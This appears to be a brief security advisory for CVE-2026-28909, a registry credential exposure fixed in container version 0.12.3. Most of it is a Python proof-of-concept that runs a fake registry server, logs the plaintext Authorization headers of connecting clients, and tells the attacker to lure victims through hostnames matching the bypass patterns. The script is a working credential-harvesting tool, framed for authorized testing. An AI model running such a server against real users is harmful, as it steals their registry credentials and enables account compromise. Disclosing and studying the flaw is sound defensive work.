Users who connect to malicious registries with hostnames matching the bypass patterns will have their registry credentials exposed in plaintext. This issue is fixed in container version 0.12.3.
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-28909: Credential Exposure via Malicious Registry
# This script simulates a malicious registry server to capture plaintext credentials.
# Attacker sets up a server listening on a port, waiting for the victim to connect.
from http.server import BaseHTTPRequestHandler, HTTPServer
class MaliciousRegistryHandler(BaseHTTPRequestHandler):
def do_GET(self):
# Capture the Authorization header which contains the credentials
auth_header = self.headers.get('Authorization')
print(f"[+] Potential Victim Connected from: {self.client_address[0]}")
if auth_header:
print(f"[+] Credentials Captured (Plaintext): {auth_header}")
else:
print("[-] No credentials found in this request.")
# Send a simple response to keep the connection alive or error out
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(b"Malicious Registry: Credentials logged.")
def run_server(port=8080):
server_address = ('', port)
httpd = HTTPServer(server_address, MaliciousRegistryHandler)
print(f"[*] Starting malicious registry simulation on port {port}...")
print(f"[*] Induce victim to connect to a hostname matching bypass patterns pointing here.")
httpd.serve_forever()
if __name__ == "__main__":
run_server()